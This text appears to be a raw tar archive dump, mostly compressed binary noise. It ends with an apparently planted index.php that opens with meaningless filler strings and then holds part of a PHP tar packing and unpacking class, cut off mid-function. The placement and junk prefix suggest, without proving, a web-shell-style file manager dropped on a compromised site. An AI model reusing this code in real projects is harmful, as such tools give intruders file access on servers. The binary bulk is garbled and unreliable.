W߲ϫyW'^\|o?z?g§J=5xmɍ/g^X蛷i/b7mN؃?Ιu x჏7k޾MYyGLu>E?8#~_xqby?izW_BX3KMKL~ѵxϹ{{s/1G76Z'v~gr{K_~'W=O?n!_\<_?i~oh=X|xS=GE}C=Kw\?i_{?]gyoz=c7zL<+~Gߺ^OQo-,_>7\t^|!Oo> ɹwЯp^_۞fo=~#Wyr٫?o|k&t|3nha?P/˯_p՗W˯~}{w>ڻG~{z}<-f7(/*ډΗ^󃿼ۅg^cw>com?y|'ry%kz|zf5/Gp^~=u]Ǽvm9/m[kRӯGů+ 47>>>}+w}~[?{KYo薋{޿|ul|zؗ}_1m,G󉟷5/ȿiC}xYK74xf}/}?pm?w|Iŋӯ˒w~I!ӓ= 8|K^/˗G?>w_enY[܇&$i6[l'o;ssbG_ߧC_7ɿ?''W2~#o^}O_?gۻ}_5G?Ͽ|C}1N?̏6g}?~fًϼ:7-FӚ^|%/?ʗ|ox?^?!EHwQ;W+i| }ꋿ7Z_~}ݗ=~oxWCh麙֞G|=z~;;Wu[ovK6굽G_ai+?;sswV~_[|~}J<_|O^г3>z'Jow]wn}Vd!ׯle7|Q/hIO־}0o^xG׿3jNߦm7t+_T}቟'n2_OD)/v_yxCo_/^Ƿ^YA!pʋ#o|٧>4+7_^M[3z#/x}ncַ=jܷwϛ#78gUo>O}#/?lV/v>{I~ie-/~~~ןy ?95'_N7wn̐?~o&o}_ڸ~ǏOoNj =ڋfw??P=h߅mk;].˥E~~t?BԄFMԪ3nV.9"(Qv*p\`K؎DZK$*]kHs,*r"Ql"$&#Sd[s<ӓr593iL2\fw)]$C נmlJv[x^!¶ @2ODk#~ߚe!;$Nߚ$ 2fl[nk-W8P5lTD߶nW c&l-~`}d "Ea,r6Yx+Ң4̠+3$Ku+R,(S-Zh1d1HR2 v8C|B9`6O `P`'֥J8Kj5Ԁɖ&MFH`K&Td"rB86CB g!x ~ C*'nd0(߶<@i)CW, .6ˎ`]XK-V"2)e `` i g `R"lRH5plJ$CL6/tH~8^49Y!hZCATX mt#("djgD$ hs(d&a($+0IN[s4X_;\[Dsp2ڄЖtILO!i<F `22} ppmnhlxID2Ihx?dUΦ*]0|}DR ?"7@Jd"˶\f tk_áY@F  J`( })@T/ " $$I>ĵykQo"TYm4,BMG!!$R+jT2@܍2PkXs,, pA?P( ?g'c ZCBo$N9ʀx:K J!t( Ջ!q ΒK,%@0c8 0ɵ(rVE"rRX^*+p)ITrY)O i7^) {k@aKIKH#Iic I@QYҏa(9T }X&h$ˀPRZTs JVԠԩPd[HJ!AuB7*XA%6ZU5 @"ޢ" RUDR6 !Q$ ʒ |ᚘ3pjM+ 8ח (Hl&p Ə "0 %H4}RW`NAɦA$MB$YjmFB~#EE$HdLn/7,١ԓ8.&4 Z)yt%@5QL"DGbSA6X 5Hdр!-Tb3b,`9&KM,lGr@b:HH- C%} [c]d# FN8 ( !ı`DӟA Gx7^ $4+ Ȧ,Ҩc@:LCeQ B;)@YCI\v{S=<Ud;( V%԰"V'Jph IyfMفꏓSY~ 'eH'F, P*i7 nfK3ѵh6w L B.G~51 ЦGAǶ@ 66V n؆i+h0EZkdIbJ*\}azd4Y&=VBs& TIFPB iY;0 0@n@ l =, (9D ThJD=D#قP >@0A @= (8k a%PÖ"iUt-lm !FM59Cj;9)Y1 a@f29o< H1!25@\H760H9]M):T:$9NIa9B0^rdJƶdķfyԁdTmõIeJ`V)Iݬj`FKi$>A.iPTZ5J5v Xz2z|hḊPH[&:'%T'S+%Yq-6-EUnDNdLclhP&K0 M8^NDOI ՜7(/fҸG+Ϛ0ɲ#$Ϳ4\@59 9 dlT5XB,F?'  lP􌴦K+Ъ$w0$s]Ak:jԭWǎGF3ha1[v2Q(@&S4]ZMƂu@ p$dtp UVdN @ pI Zf!JYmU&ht2 V$&&t#q@gA G h@N 5EĔDAej52IcA ]Aqyb{hz 3xE{ eZ(ɡU RGڀ V*03hRr噅ljXE#i*^r*eL$d_8lW&,* )ͳ6Gt`*\X$q!{IM*@hЪ P0"ڠqMy뎚Vˁ`z(O`=sIVͷ@QJPS,5!j)*0b-9=w|SAM rk\fmh aCx() #J TF2U0ic j|Ž8 cb@2J^ny+&͖ J@'\@T!e` =@f?~_0C AMʫ@n Uʤ`i?n[0"=z`9U`NưP ԡKDnQz`--0:`./ږbn3(PJ(ڴ qaʺaYOK D@r;!ܛ8ϵ[<8΢7v޸lp:MȬ @*Jal@ے6qȯP4VJ*6գQQbNs4F; u-8M(4A, ֜}'Cq@fߢVvlejZפo\ 8 kN>VgdcR$7vbkb}tAPZL {aʴфX6R>L)[% *עX , 1˝!ƣUZoZL e!+FU`+rH0p/i&`MwZf8Bap2uDcsX&RH;IT")YBך<gW4~"W<\ՠx@y45S',*bA$YFTdnawU )IKJq]gی(4Y ؒК]. Ha`5+m$tX0CV1,bv4`AG,D0=ܲlGSԈ<(R7k4I<4\P~V'Y815VE5xjqe+[-eqdY/>h1 ]Y WVuG?UW)KB* @8ŸnDqLZ@ 2?& 7b{,\u>`7O]flm ShZv AzAj (TBcjk`DAMb޺W̧a:]D^-j!(2u݅EI\ AUՍMPFz'(Lh~4'ц)-qg V%eIQ@GAQxRMF)25%"(}ApR8 NI$K ;GuO4k5^IHZqs6r0G`cR|S'eJI FyHHXꜜb Tb9 #<D`5Bh>@Sad5,s6 b08&5Y7&pSـۥyxb)#s]cѰ$Ѥ:W 8Ihxc(Ւ~4aOVrVخprˠitp*TF$[bAR)6?$T!7> SB_WC!ϷC¯򇂏σn rm9A HqbqX$!AwZe% MFҭz L<76Ik$ Ma w}2` \\i:,{VSiRrP=.Z% ,ee"Y N84|Ha T,%}Pmis9QyQJ o"4N)̏Ec#4%uK$ƬviJM/H1ͥ`&غ4וWO,Xdk 69oʼ^[ 2O YFbu;Y N*m0\YS^D-6#<5 j,SJٚ4*W10f_^ĸ:}04/ n )I5;𵬪^3?{mNF*"$9 RRäS4&g-MJ(j4]xrR +=!7jAQeړĺ)( 093`f_:v1)wFwF. 䔚7M7U&>]&qe+T'Q=L1fT jB#+H&I$bDt3eɰUU2uȡ g\TjByRе%{ Ѱ4];8ET#4D)f+:,(r@%P"frD"KBhh]wPRCTvD&d?`)XJb/[wāOi~) (bVRY(Qӣi \ZMC !6J/ ۉ`h*7rrL\ oMao(MJs&|BZҐ;ք'Wte{qХ#V uw0* Z ]3F.iJYY&P< 3t1? %Rq`'k `3ĪA2+Ñ=-s\!y@NH (TA$,yRФ\X\g^!Ղ0z:S"WD^9xO-Qd)TF'MQ+%=w #\pF."Geq\P: ]Ud9ͪW35sTpq_LPfjBgik{!cge8,h?0G}V:5dAМmԠA ~4帢pv) FT0`5ڢ@P/h.Bsap0@ꏄQ!J`i` cC["  AxB,RL2K4<^5KAP]9X4RQ  50xB7т>c6C}GvmH84h3M7Q6'IΠ[⡵P:ӵ/k\z | pp~rɵ@~ +z4\%RݍeHerLVuĜݹǛ]7#]\Zٌ:#Aޕ+}wSt6_hͷ6?rww-/٩RÓN6Vά}7\nFź;' {v/T낫Pг̸M[$7|Hvkw`vMOX|;դ6eNi9ΝX/=ck't8%>t4mrݝ)#$(zR A+:ˮ /rٻՀ'_q/U6<'٨lf+T˲:㋹¦ֻImqݎஹZr֚b/ΰD&@['κʛQ[Y L5w`37;e?(7W mqmԛ"o*ީn,UV 6a){㌬4]+MR^DLw@'mN{2|Liw WW~wk3BZ47Slßڪ;K9E}%ނGї{J˽v4=]Mw9֫nݭ-†sXq%]{;6rFz?Iow/!w֪{'g3 7RX XSd3%2ba¬7"oa:]˯qTagPtԿ(E ;V0-b[s̚3ͬ-9c.JzlQs񬭚Zn{X'B]zkb>b2nZ]\p[dn޶Igqf[4"fʖ-X2*\vh&gE5'6znٛ ֦ygjz'![uRYonKzjgי-gYs{¡Ո 9) H|2(XjĉF<"b%}|j:Un6r}@ܰ9_+Dر$\]A{3R+@@@no#{YS߁\C7pSf@C?XM"u'p D,1dBj ݦ`l#)9Qh/nWeË5h.&0tk(u Xxs{5 AAn,@^mnҙ`&lfҹHGCA6QJ f+xx#qಘ}z`FiSkp`բʡ 8WךV ؊Fv~Z0, ]Z$+vs[meƛmkR>Cu팸#݌ ˺5l+3t r1^1xWJ2 _f9<2̵[-DN HS)b&\Gk6`_A3kj1ٚ5X 冗 v<;iI'f0^S-ó(ߍJ^PVm8}jP|ɰ[y%_,;J)åu՝U<#@;CAFBUоX[t aBQ%CHn4I@WE3~< &ɦMX4) r|V/  i9c<+6th h%_Ӓנ/\s5_7@/\#lS#;)Ϡ'tRnK/N@4)t gUc VrK{~/Lu|p%TO 2 tF!h)O?]%@"P&f(Lb;6)ST*e-:?' XDڢȱ$nl+ $Ê)@nW|T{u:Gs yzD:X' CKbe9PG -Rqt/IXJҮL+ rL*`, XÌg\}Rb4mr 0& 6n\ى.'4/2 7 _&61rAImaT[$ZTGG.ALy͢f\5Y,F+}&OzEɵ'le]pB-D0"Ӡ!(ڬD@^כ PiJj̔Q,+ f3"P9UPjWmH>*t?&xB2GLUt£@0/d-"+VO)9xuh t,o~KW|Цs2N eX; 䃕@GeJ\8E\-" ڋ ([p2)erTa0JDm {$= g$1ݑIݑOQ7L 48rșۦEu0H&胦' ;WRZZyޯ@뙄4[#r&9?o' ԐN51Iʻ 3NאNQ=Z41m&d[f(Z&xtEBk~RjI]h܎j$Ȇ!Y2- S1\BDQH 2o`-a4w$D2Adܵb{tTvd2):EMIQmDv ظRrT1)%1I)Z&h q-.30hY݇hnx% gj(bts;hAd\=f>m/ݷ3hj>'tҧsbICc ;161nlAO<-C;d5o W +!>C+g%~DPp +ti0TnkDB8V5H̯f#;ZYE.Cc 5 uMH픳wZTmDKorvgK?gMĥQ |r GC3VsI\kuJ>[+-!LS]lDr`[aG;$[F-,pvM8: ,+@o*^!z2te Z瑩_;>`5 fvn՞Ã[$?]E(q5-ĥ꩖ eKKU_ =P*qNd*|i߇cNQIRft@|֝R9aq~rl:=9@EKT4@GƚɛҔPRW;}*esZ ^$ӫ vq0M們)EH%`lg̦jdz#st ߿|6Vx"V,C_F3_#qPL4O&[Ϥr`* *{\Sۨ.գʰt'BN*+ K_6͟ʵt Μ:nB8 Ce0֖s_]vd8Ma[ݯ8d5e4\fD^7:-.CPaeGNȡ! 8ωr$nʉ;O [|s'懝'4JK@ H/t֞MLL6븿Hbfa„]=gMjruhII>m{,:p> ^r/9S:x`Wuj,tc6kaϾpYQ}jWo`8 {1l&VNOi}TKm.)!dAy/reʐJçc؎dY7dbgHĖ´;vk,Wl#^f2Ѹtz Q!j#A.ktx{CH\J6%=νn57T&U'(Zk%K`4Hñ=[v%\W#]>!;`J$H0WWBE[׶bB8,\=N׃ѐwqWi2$ N0 [5rDb^b|P GA2抅:(_V\+պPyb" +t4`0%;Aݸ)v;.t7K ;bp 9*ɺk46{kRl-RA[gbZͶVi^Sam%^5{f ochN{q. q!Ѷ`| Yk*U*Yk fɼ-5/эz#fÓ/KBYz.c mVwG/%Bl1S {zyϓXǓeX%I[Ʋg#̭l6=4].3Nbv8gn3I^)tW~ymc1tw겯_\_"8q.oS%0Sf n6I&,À,ph\( {Pe/j).^ZɅp ...Ֆ~x{`pW VR+ s堻e6ܑG7bkKr eB`-W.t0FLmgVl6݉r,‘%:$Lj[ZX>XMʵۭ0X;rI9z$ɚ+e\V\\59Y+kjڮ5M h)lTXՄp1Ei>{n~iYGoUkf0+D+D񄲱FW.j5{-H=^/vmeBa'ѫ;dxu#s^GGWZ^_/kF׊Qq)noz sC- liYoC{u ~bR'ڈ~FXf7e2^7'uL4nfd)'?.2˝E2KY6sfm\xsޮ/V'BvʘMop^vSF箳ˡf),=_6r˅-{njoobtڮHr_fd>:nkvkbL& b~űƮ3b~X:VJNҋM+9lEOVh7ʩ=i5!ojaJQpՄĆuft_L97{e]e>zϹKF=k{IwnOg^s5]^6.ﲫ,SV[璍^1w[&|vYګ|'G}$舵 ,ݶtbLE[bj5;xڻKzK\IV|v-LbJ[5{ͱnpy[b$V n#$ +{J{J_-f9\F|]fڕ ;՝8L4NWT&wj&JZll._."=2r枽KM3Urx:U"'/ bض< |UȒvŶitYv}(4rQHoBb-6F-+hw\ Ygʖ/F bdWl/ӏEZiKګ.W,Tj%^/ꌬ2hͧKv{9)OٽG'KYw2lɖPꉮD,WVM*w6*M_m;9N=-W-7\jϾX32J+N_͡oM;IOlP]ћwv*u_lxy\;Ij#o[Iî~S1\-a 4l.f_ zM/㡍ng^l%szu/dI9B;aZ&q/fƸ~g]NQ"@T;`iƓ]{eɽXSUKj=LmV3hjey3KŨ%+~w,y쮦8W{']E]qF'ISMm~_5n9y49vVl% !*sz:e!reU0ˆKleRb<ጦuOߨ6w?hri&TD*ͽ]*j9q{5X)bsŴhnfz)imxbO1k%җ^bεq- w.1Y77q_W}Ղݗ,m\o#`>rlŪdVޥ6f@&H6^w5]cWv5 ^NzfTTn:, o䲕H'+\ǧ^Q$pLfZbKf{by& T#}5xz%d StGJ_yi[-bnolh :Nzsu]Y];빼{7JZ6Lmw:(gʹW $dsT:t)oVl՘] msvW D#Z cvv:nw匭VWb",qxPٝ9cUW25bmB:Nŝ WOV36z{͎_ ^sݬ+=W Ws?lPU_5lhгg%+ⅆ FlU Ztmo!,A A0X2Zv+ubG5_w߿9L$V lV̫DTeTZ\nA?sRi9ً+|9LgkQt8BYtb{v<6V)3UϙmZbm.vK|iViNoNgSb؜f>\8I3M!r=| LhX\fkJ30.kx.v9r7ZSkxJf.Zq<}:҈բUKX &ᴓIoo)tZMwꉵSEfXO(WK. ƒnH*ZK;>sm,;Tam' NX+F][mڅh;jңe~-m7 t!Z 7~d+̑|1(rIThYu4΄#XcL/dbk>s מ9 4τc4}zk.l,nr).$vܴbŕz\̯mΞbJ5=g4׍{߷rB^,+Kftlbq%wo9s3Eމ(5f8vՄ}1h"m`o lHok /.{Y`,|z?XH}G+ej~cQuȇ4#nywwy,NY)[VbL{/kxY`2`t=/}j]-+;lILo3%RB-7tjg\ F7ẰR(>Iovy9WcID*ۭDWnt9^mՕ%Kdbs/zj5ڭ;v̺#kf=Ol3j5G:NC4-zt=_KŹ^öS8߭v‹{XMz.ww2J׬&.X]+)5==rqsq; JV2\}/o+_Y_*2@q/r#ԗQ`Vr XjL76|G6xO%\ppf.'Mjm`2[|(s'&CV9tJK\rZ@>%`%s\^"w~Ո'6!iWUKwTqtRדBu+xۋc/u%aQp}Z3 @ky6s}ev[F^s]ނmﴚ o[`|nwǑ=Q\"k;lHtpԽ]_/`4+U9s]2d1isU:6[|PT d%h3{3^eYkH[P wzHG9T*˚WB%ߥmt%\h#6n(6^k-A$^6j//9FߟDB~K6$fYS5?\'$un]tyi z+骸*=߆O6,W͂`K(M-G%%3vU "__ @}bULfl R=F= yzXڵ/9-m$v˞9J|bw+{hkm/3._nGȝ63h8cZ(Tb6TP162raV ..eXjA ŕvW[sES;tWKlkQOZGP,2՝b;W_t8>kKXl0εp8k"/vlkIv#P΄>W 16DPhU:@sd `8a;*;|lqmt2!VT@Kzwvbk1.2ލ8Cr܋rI߆lq3^~cc{TzsǽXȕHtf.$󲄽IUhvl-))"~ ?@Q 0.uVͰ0RAz1cbЋ(7-:LDh2tBȁGRĤCFlTlbZ^ m 5w8t k EEQMQkVjUd1~˴ Ѣb$PvYCY!r-)ۚ$/^g e%abhog fuqPcuHSl,uwK(Ȉ2f5l`A~=~ Y g2 R+Mvc㲩K}zPgqjlC+ile\odPC&?~vgyGe쇝Plk +pOD-V>fd|\t7eFYt28~,| e$@uA8JȃZ0f CqGE:6jߩD$NbC5TV2,j[E4yPC592PŞ{z T< >0w(UXOc{JWypп:2x"e "9"4RD:{3M=~aT`7km=pDsU<rA R¸Ɔq6 );2u^dqq8P4qMod,$hǚFE|T*I(1!cW"%Eo)u?~<\ĽD녹<@H +2h; ГRyL%B2 ! EG,`, Mwݿ41Ï9uR11]Szc*R /Bn(Ÿ-|uoǠe`pf ?s:o2@ LJ巴2opdh"SC];:T}^v:1bu j^Z5Dx $C׀ZR`]Hml19 GAeF،ƚ[1@& # AC4q@N&ʨ&4׿G9<2FwKX#1X@7(!HHv(^Ɖ-譈˵Y W`Ef<8,qH6J4~ !/g o^Iȕ{*ǴC`F 6\tPNdIy7يwp?-FJ2.cPpxtO,{4P9q@iN`w4-O|&N'HS~xIt7bg4s6ٿsg#SMyJ}؈9(#qőrR뛄쁂 B1$dA_dt]NU0r9 Q\*x:gAaui|D˪%?ѧl}9?tb|w~{a ~!ّ$PNlT5ykQ(Z&wRPjK~a0Q1E{tKb6ŪFDGpq`'+,մM婫0AU@qb|Ke Vj~ ,Fek`Xܕ ~& ư #<  гõm=N}!oaauft(f ,)\&qfp*)cXR:7B7l6;wZH\S`gfE "R,=׊oz_H+- iՔ5|HzL׻a0]zzr9H6q՚0MrيNZWJ0Ę(O}V: \{} #Mppe\e'DW!4I9S yn"/BdC9۳]~.,>xހ8 uG=sb^aM'4Cxpck(y'Ʉ 1ء89^|^ T N/δɹJn`'d֜iOzM@uݴ[@u~GėrxF)"GŠSqodL3ĹSA?FI5pis;w*Ώ8yA6ia4ph<[VVz|6yu~Xƣl3""yQu}xCWRdȃOdIHcߓ&*g35J3~b _*uӊXUc>p@|]SUw#Y=tUy,^04&_mR$/MC uyndw1:*՟Eϩjc>Qʊ.< jæt `|$s0Ȇ(齺$Ȳ[F6ierq+O+ hjM pAt@ ֓UB=P?ޤkXz6%k&#w3ЫjTjȻ'Z(yIoI)ywY}\OxpoP*?^:`maSL>@  c;r9h%%K/eM y¨W |IKC1h͢tۂ."<*4ʆ&4/Rk8[  a$  5CM1/Xxtcx [B>&K`l#EM0S[,ae% [ۡ(@9d/ nWwFv3k@' o!1Kj7Ac.~\O@S ˆVJvHـ9rg4[V- z="5=F%wɖehqv }Km` u[`[,!`$8//)"r1r<4%PZ70b<%y@g>ݡIʜ G]JAPO J#wXxPAtL>o\#T9.k%@ bM'r yfZ+}H`/=fk( a<[9;&d`4sH>HnY.&b5bȊ~ZZ'0ܵLQfJJ#yrk7 #'PӘ¨ڕv ;$&C$ОGQU>GX_.10ҴE<0@Y1W\A(C`9~VKh/>2HVYPAM h*SeA=* 7֚q0ݜ30iQNF6Rdףk+62[#3 'pl!n \&N=.JM貞tKcJD:':,}w"`#yFu[yJ7ǥpX(YaҺ(FvZ暶:z >i`r!!/hq\&ʚ!.CR*%#r 0y[{@X5q]xQ4dq_eH׈B(S r(88[ 00=$g6vJoP+Hhv82efX1>S^˃S0K u:\Ե#H6hT`<\ oM tRU,^lTtV;jPNQʘV8h ` PjAk/lp .u؊)LSrhSuIBk⫥JpVT FQI:8+x"OcCѩ) E'(&z0BBc2 Gbbi9JefHZ; r]^۝ngw8]nmVEZ4NN,DBT,DB#- >戦&g vaѦ޺ Q8~b(%r(EӝDX!Y_AQ:Ơ0&A \[@i1/uۜ!'<8^tN̓c`3P8a葓J[Nr+I.9ɯ$9X^%!04<1A\$TQbA6PfhQH Jv @/U-0|RN +8Y=Qe9 y!5Kiܕ&?sdE|(Ek/_r*9e.7*a6OvynX!'& 3$@eF(/L#D4 fjJjQ UP8ݮr|͖24m;> A `8"pja@ lp|q ]Wa8 Z8ݕ٤4Lh0-EYH4ۘڶaP"^kR`!ͦ6Ani{藴hHxsimA }K5δQXp RXO@4p_`*6nuͦ3Eڴ哭S3{-IзX ʴ@LRh͊:15mU{ ͠1hPFV+}r1THF-?M rt /bs[@ez ML7s.VKdYl0BYkBVFYX L&jxCfXFA)'3YCH0"jFhV-h؛6 Yzqr% >YJZs(FbX0G :]m9 |gkزHTgA{Qh/FZ]o .*04Alg3]ڡ@@U/wJViC Z쬚!KTp2Rh(@Q) m6+ >P띤OY~"A}Ď ̄ 5/c9'IH4 mpauoUHEc!'bL .*{hG*1NtGC2mU`PsM"C)^HH 2MޗA.B:(C%We%hQv_KgQE\/׼tH#zbh6@K2Nx1R^2vՓ!(1Ǭsꎾ6; sވyq ý tG0N5)A kX{/EemTE`ÅTSer%EQ2U[ &I]єy3H1C2R=.ÝØMdk3#_5\:R1 %>+8ǁp}ri&h%T%\&;ULo+!叞 b2ӒV$dv 橦sZԶRUQlΚ`I9lAGW5MA1dE~Ķ2o{LVohW=#U7ʨRʗ@81(x!vCQ|gwW9LAIDùg%ZlB%c"w(7{$?C]^Nˍ`89I?tHq(P~^ (?*rQ ׷=G1{;-ol&r01d0j!ߠ koipeFlĸSI RGEԇͦWxI+D Wz(*f`QD&+GW=J@=l4n8*lR#*W{L &õY)8;Y  #{ǨQy#0ԕ7bgUx-| ,98TaGn~0ۭt|͎6v#Z:%Z% .d: BIwp$ h txD^8Z0-RyP9сD B.'nJYv|EX Cux8vF9XCgLjs#@wK  Z=C8DF=g+Uaӊ=8΀IwBs*^AU\(bW-8ca3M_=Oa&j{zHG^5Pޒ8b%(M$9[ձjn)NC ЧjX\ŕ>C(tS:T*0Meu *WLS=dh+WCG40h*'*k=LM=E|Z񌖯5練 8 Bͨ8h@zyI,"t ywUvuG."> ӽ>Ui0 hh e]#$O[ٚۚ2ӮP ^ sm0'st 7GlǏ!8rCW/_"5$lq@ ~x-SQ.Em JXdt &`? X|`K H):WZcYIt*' `AH@m ق^. ]ŴIV$v{T[;;쨇0\=*7jBafcRo(D8ZHh@L`7 #_M0!Z+>]ADM 94g lSk1iM&7߆7"MV@"NA 7b@w@!- 9reRlJmW ¶ĥSȦ 4-0,Gɩ|)p_ 2]aXjdBA/Q@  ()` ;%ihABa㓂 Y%Q0BeGnHM#( [!!#B&E >uw$ߕj. -Q]jS ^M?>,5&C4/. 4j#rɡH` !4zpqX`RҶ(cI]+ *qp(i<'S2ʡmj@-PZQ+q @ElۚJ`p hUOO )-'htOO @vpt=&LV(7%[aD]S]?8 |␩cdiƁ4+5TDe4MvDm8FRw䦁 j!Yؐ4hbhCђ"ѥV^HSX(OI2OW#G6% DCe$V ? 6Fz+uȨɴ2Qle[ #YCJzD!ߥ .qw$0 _e䔂'rIP1iP`Qi!WrX mK?m!dHn6Ō1NZ-·'}PQ8rG o7}IrO RMɜInё,^WEӘY!h3tP^N&. CBc=pEkdV<ZUCm0rO=-SF!y{yfkc~%qHfA!'"Nкll@l.Bzo'a*T_a?J`.-2@;q-KSVV# AX|ok[E v )-e4`1ε[,0 8*b$>Ll_f <׮Ց~@fH}IO}9B$uL1kЗ/BKMiLhmN-5^АdDʼNvD2ӌ+'[\HSG#:UZjcH&;^8$|}T]A3z YTE`%)P|UjrɆiWudFL@T-r!PɑJGULgjo#ٻNZɵsG:~e΅bgCQ :/t8i 0 C`qh@?POTbJZVfr9I@m1*Lsiڣ]/UmGU߻x;V$*Xt`k 5 AZ=m`4>&%CEVYZؿ_P:ЍʊEC&D-ԑ>9BT^wJ{VdfG!OC+#yNh'bU MVH!n}Zhk cAMbC|~Z><*nGJn084K@]+YZG7:ۧ\|Bd 5I p5 ã3fWh+TkuG+. evPȣ v WMpXHʈ9O朷HeSkI|.$t)91tK9-uHO vC eijXJ;'pnOq坑™AՑ^K=\%'Ja=aM2:ТveY=Hj(0TʡbW -uלу9)cp]EY.p'佄a?e4n<1T%:)}كTZ0+ӾH !˝p\vfP*gln\]Pл[Y\w߅C(vOrntcw]y7tڴN5q)t's[F;U8`4(W .O4$P<rTkm) avgQ`y;`;\KyǑQ=grxkb]l-B^g1.$ Te$|0@jƷ;:Y w(9C!iļLA|G>s5̸I?>4g\~@c{vXg3ny#G}a4>|Fg ge_ο>vI@f::[&0L'h#rTV&hzG"Yn,ejȥvtYIGw&Y`szfܞ<g.ׅY X8F[G}?/G㘱_U483qn|F}ގh|CUFsHOo/ϝ&FO~Μ {vޗ&N]<gѳ?Y񟟞مіcjrWScOKG'ȵV[1yxItT'@L!@ g ~HM3ڮC2j:4{u~zNa.xNh=/o9. |ggTgm=M<9a.m-M3v:oy6?)N=pJJO'F5JO?dGΠ~~P.irj9<m.Fqiwh삖6@e{3Q]ؑ;whq؁thI=G ?8_9E.]×PKj[×ova.tarnu[Diff.php.php.tar.gz000064400000006234150550174440010131 0ustar00[{o8OZN6[\Ҥ5A]DȒxwofHO-WlP<`/߲q؄~kN}|5~ dz*P"DFB/^D,h`i҇A?ŽoٙPB2a^ [(h FKvg\*y*S|n?i 4O?>B)CP3)G/x M57ռQ}pkHHq߅3: E#~е  "e y5$dhlr޽>~c` ifJxB M<$Dh<Å=&q5H<)b[> ^$\]e^(ŗޔB3Ì>+|͗,kpCKܳ]Q.BpXAcLg51vXGt}:j2Ez<\.Gr![!r߅0BbT4|_{t/䂇v'"~$=&7F69dd<ȥ]vR2Y4t ̙n&OQVV ǻʗZ(\ RNj("WZ&xekU:FBh]CX-&'[:2&CM5,_ ;pRMu1= )2̒XoC* <.1USK@~^61%|ֿ% mFhT "%GYtv_Mw̼fd`AW3q|8G *n9ŁM?E}linV[v3̇`:-<;A|9rb/}F#JJ@)!Q(<4Hv7q1l!XUhF~KδWutT{dr (!Bߵ/(gy@5 eš5x#Jaܯ,:Ě"&Tx ڊY 01YZ( ؉ wH3飱hXO&GGz7J.H0plN/V1^9*&[8mA"pк4Bp'a$g\ B|rAf?r?)ZC~ZwL Ui%obY9Mw7M _dǍ]2]¶ Y| 2; !SRKoQY:index.php000064400000233533150550174510006400 0ustar00nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
    '; foreach ($Errors as $value) $message .= $value.'
    '; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) 